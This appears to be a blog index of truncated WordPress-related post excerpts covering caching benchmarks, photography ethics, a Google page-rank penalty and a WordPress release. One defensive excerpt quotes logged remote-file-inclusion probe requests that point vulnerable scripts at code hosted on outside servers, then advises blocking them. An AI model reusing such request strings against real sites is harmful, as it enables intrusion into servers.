Now, that’s why you can’t believe benchmarks. Sure, this server was able to serve 100,000 page views in 282 seconds but: Requests were made from a VPS in the same datacenter.

It is an extensive modification of the famous WP-Cache 2 plugin by Ricardo Galli Granada. This plugin creates static html files [...]
Anyone who knows me knows I’m an avid photographer. Thomas Hawk was in a train station in San Francisco when a body was discovered on the tracks. He snaps literally *everything* and took a photo of the poor guy who died, but then he questioned if he should publish the photo? I admire how he [...]
Hi, my name is Donncha and I used to have text-link-ads on my blog. They’re gone now but only after Google slapped me into submission and reduced my page rank to 4. Initially I felt angry and shocked that this happened but I have no excuse, I heard it from the horses mouth, I knew [...]

If you look through your server logs you’ll probably notice more than a few requests like these: GET //wp-pass.php?_wp_http_referer=http://148.245.107.2/.ssh/id.txt?? … “libwww-perl/5.805″ GET /2004/02/18/smoking-ban-is-on-the-way/trackback/ … “libwww-perl/5.805″ GET /2004/02/18/irish-car-tax-list/trackback/ … “libwww-perl/5.805″ GET /tag/php//tags.php?BBCodeFile=http://drpepper.gigacities.net/id.txt? … “libwww-perl/5.579″ If you do find them (grep libwww-perl access_log) then add the following code to your .htaccess file. On a WordPress site this [...]
(Later – Scroll to the end of this post for a small patch to fix the problem with disappearing tags!) As seen elsewhere and of course on the official blog, WordPress 2.1 was released to much fanfare yesterday. It works great, I’ve been using the development version on my blogs for quite a while now [...]
